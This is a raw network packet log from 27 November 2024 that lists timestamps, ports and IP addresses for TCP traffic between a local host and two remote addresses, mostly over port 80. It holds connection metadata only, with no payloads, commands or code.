Nov 27, 2024 11:14:48.143672943 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.143685102 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.144407988 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.144471884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.144491911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.144547939 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.145279884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.145365000 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.145395041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.145415068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.146164894 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.146215916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.146251917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.146291018 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.147031069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.147082090 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.147167921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.147216082 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.147950888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.147996902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.148004055 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.148052931 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.148794889 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.148845911 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.148901939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.148941994 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.149671078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.149683952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.149730921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.150551081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.150607109 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.150609016 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.150645971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.177570105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.177644968 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.177685022 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.177726984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.178101063 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.178160906 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.178237915 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.178309917 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.178898096 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.178956032 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.178986073 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.179023981 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.204549074 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:48.204644918 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:48.204701900 CET	49897	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:48.204912901 CET	49897	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:48.204931021 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:48.204952002 CET	49897	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:48.204958916 CET	443	49897	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:48.207926989 CET	49910	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:48.207967997 CET	443	49910	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:48.208026886 CET	49910	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:48.208421946 CET	49910	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:48.208431959 CET	443	49910	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:48.254549026 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.254599094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.254663944 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.254717112 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.254956961 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.255001068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.255069971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.255119085 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.255837917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.255882025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.255951881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.255995035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.256535053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.256546974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.256597042 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.257405043 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.257472992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.257486105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.257587910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.258260965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.258313894 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.258375883 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.258506060 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.259114027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.259167910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.259233952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.259278059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.260013103 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.260061026 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.260088921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.260128975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.260862112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.260936022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.260967970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.261007071 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.261738062 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.261780024 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.261857986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.261898994 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.262609005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.262658119 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.262695074 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.262742996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.263472080 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.263520956 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.263531923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.263575077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.264380932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.264425993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.264451027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.264570951 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.265240908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.265285969 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.265348911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.265403986 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.266226053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.266237974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.266288042 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.266957045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.266982079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.267014980 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.267038107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.267847061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.267963886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.267970085 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.267999887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.268688917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.268740892 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.268747091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.268788099 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.269570112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.269622087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.269624949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.269659996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.270406008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.270468950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.270554066 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.270601034 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.271339893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.271387100 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.271406889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.271421909 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.272195101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.272207975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.272242069 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.272274017 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.273020029 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.273066998 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.273124933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.273226023 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.273931980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.273979902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.273993969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.274034023 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.274825096 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.274832010 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.274873972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.275695086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.275707960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.275763035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.276443958 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.276488066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.331149101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.331175089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.331259966 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.331259966 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.331548929 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.331634045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.331687927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.332417011 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.332498074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.332501888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.332551003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.333239079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.333312035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.333498955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.333638906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.333688974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.334427118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.334470987 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.334501982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.334537029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.335206032 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.335289001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.335305929 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.335340977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.336088896 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.336179972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.336272001 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.336312056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.336899996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.336966038 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.337025881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.337069035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.337801933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.337899923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.337919950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.337934017 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.338622093 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.338694096 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.338723898 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.338723898 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.339453936 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.339495897 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.339500904 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.339536905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.340270996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.340316057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.340316057 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.340362072 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.341147900 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.341212988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.341221094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.341260910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.341993093 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.342045069 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.342078924 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.342120886 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.342824936 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.342890978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.342932940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.342978001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.343698025 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.343753099 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.343786955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.343826056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.344522953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.344616890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.344670057 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.345613956 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.345668077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.345694065 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.345747948 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.346520901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.346564054 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.346571922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.346601963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.347664118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.347709894 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.347794056 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.347835064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.348537922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.348587036 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.348618031 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.348649025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.349191904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.349251032 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.349282026 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.349314928 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.349773884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.349817038 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.349919081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.350024939 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.350449085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.350466967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.350492954 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.350506067 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.351262093 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.351337910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.351356030 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.351394892 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.352082968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.352148056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.352200985 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.352360964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.352900982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.353035927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.378810883 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.378902912 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.378953934 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.378994942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.379244089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.379288912 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.379295111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.379331112 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.379928112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.379987001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.380023003 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.380067110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.380772114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.380783081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.380821943 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.456183910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.456237078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.456374884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.456460953 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.456676960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.456721067 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.456778049 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.456868887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.456901073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.456912994 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.457608938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.457659960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.457707882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.457760096 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.458444118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.458496094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.458556890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.458648920 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.459331036 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.459352970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.459382057 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.459393978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.460205078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.460217953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.460266113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.461085081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.461148977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.461180925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.461220980 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.461884022 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.461922884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.461961985 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.461977005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.462682962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.462727070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.462752104 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.462860107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.463531971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.463577986 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.463578939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.463617086 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.464359045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.464416027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.464461088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.465251923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.465308905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.465331078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.465370893 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.466109991 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.466156006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.466187000 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.466243029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.466931105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.466976881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.467020035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.467746019 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.467807055 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.467840910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.467850924 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:48.468586922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:48.468672037 CET	49830	80	192.168.2.6	185.215.113.206
